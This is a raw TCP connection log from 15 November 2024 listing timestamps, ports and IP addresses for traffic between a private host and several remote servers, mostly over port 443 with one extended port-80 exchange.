Nov 15, 2024 16:16:32.717609882 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.717609882 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.717639923 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.720546007 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.721199989 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.721211910 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.726464033 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.726469040 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.731991053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.737078905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.740128040 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.740192890 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.740492105 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.740607023 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.740607023 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.740650892 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.740684986 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.744043112 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.744591951 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.744652987 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.744853973 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.744875908 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.744894028 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.744901896 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.748986959 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.749037981 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.749131918 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.749706030 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.749895096 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.750006914 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.750330925 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.750341892 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.750459909 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.750464916 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.750636101 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.750670910 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.751101971 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.751493931 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.751513004 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.752053022 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.752083063 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.761363983 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.761595011 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.761621952 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.761857033 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.761935949 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.762856960 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.762870073 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.762897015 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.773457050 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.773478031 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.773509979 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.773515940 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.782572985 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.790319920 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.790424109 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.790544033 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.794961929 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.794990063 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.795078993 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.795469046 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.795481920 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.850265026 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.850425959 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.850492954 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.850701094 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.850701094 CET	49882	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.850719929 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.850728035 CET	443	49882	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.854048967 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.854110956 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.854219913 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.854669094 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.854701996 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.908529043 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.910209894 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.910507917 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.910593987 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.010150909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010215998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010268927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010271072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010305882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010307074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010318995 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010339975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010351896 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010395050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010428905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010451078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010462999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010494947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010516882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010533094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010550976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010581970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010615110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010637999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010651112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010663033 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010687113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010695934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010731936 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010739088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010773897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010788918 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010808945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010859013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010859966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010906935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010910988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010952950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010960102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.010967016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.010993958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011002064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011012077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011038065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011070967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011090040 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011105061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011121035 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011138916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011154890 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011173010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011178970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011205912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011219025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011240959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011275053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011292934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011297941 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011339903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011356115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011390924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011405945 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011493921 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011513948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011565924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011576891 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011601925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011636972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011648893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011672974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011686087 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011718988 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011720896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011755943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011764050 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011790037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011801958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011825085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011831999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011858940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011874914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011893988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011925936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011938095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011960030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.011976004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.011996031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012017965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012031078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012039900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012073994 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012082100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012116909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012134075 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012149096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012156010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012182951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012212038 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012229919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012233973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012270927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012276888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012304068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012320042 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012351990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012356043 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012387037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012392044 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012423038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012427092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012459040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012491941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012506008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012537003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012542963 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012573004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012590885 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012607098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012624025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012650013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012660027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012689114 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012692928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012729883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012737036 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012756109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012763977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012779951 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012798071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012830973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012839079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012861013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012887001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012895107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012919903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012929916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012942076 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012963057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.012978077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.012999058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.013011932 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.013037920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:33.013048887 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.013079882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:33.073646069 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.073704004 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.073746920 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.073791027 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:33.073821068 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.073847055 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:33.073875904 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:33.073895931 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.074054956 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.074383020 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:33.174715996 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:33.174715996 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:33.174742937 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.174755096 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:33.265103102 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.265562057 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.265630007 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.266588926 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.266676903 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.266959906 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.267031908 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.267244101 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.267270088 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.267339945 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.267368078 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.315099955 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.478394032 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.496316910 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.496926069 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.499260902 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.534956932 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.535661936 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.539160967 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.593305111 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.612231970 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.626390934 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.626414061 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.626869917 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.626876116 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.627378941 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.627434015 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.627599955 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.627840996 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.627917051 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.627923965 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.649158955 CET	49883	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.649190903 CET	443	49883	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.650805950 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.650815010 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.654711962 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.654808044 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.654884100 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.660763979 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.660943985 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.665246010 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.665246010 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.665260077 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.665329933 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.669261932 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.669275999 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.677112103 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.677124023 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.681060076 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.681071997 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.681405067 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.681415081 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.682210922 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.685756922 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.685818911 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.690027952 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.690067053 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.752461910 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.752645969 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.752737045 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.809482098 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.809613943 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.809700012 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.810193062 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.810436964 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.811489105 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.815335989 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.821355104 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.821511984 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.821599960 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.862602949 CET	49888	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.862624884 CET	443	49888	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.865426064 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.865457058 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.865485907 CET	49889	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.865494967 CET	443	49889	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.868890047 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.868891001 CET	49885	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.868936062 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.868962049 CET	443	49885	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.869540930 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.869560957 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.869646072 CET	49887	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.869661093 CET	443	49887	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.880292892 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.899492025 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.899832964 CET	443	49884	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:33.899852991 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.899944067 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:33.900108099 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.900168896 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.903805971 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.903834105 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.904038906 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.906332016 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.906378031 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.906452894 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.906613111 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.906613111 CET	49886	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.906635046 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.906647921 CET	443	49886	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.908241987 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.908256054 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.911871910 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.911891937 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.963761091 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.963773966 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.963845015 CET	49892	443	192.168.2.5	13.107.246.45
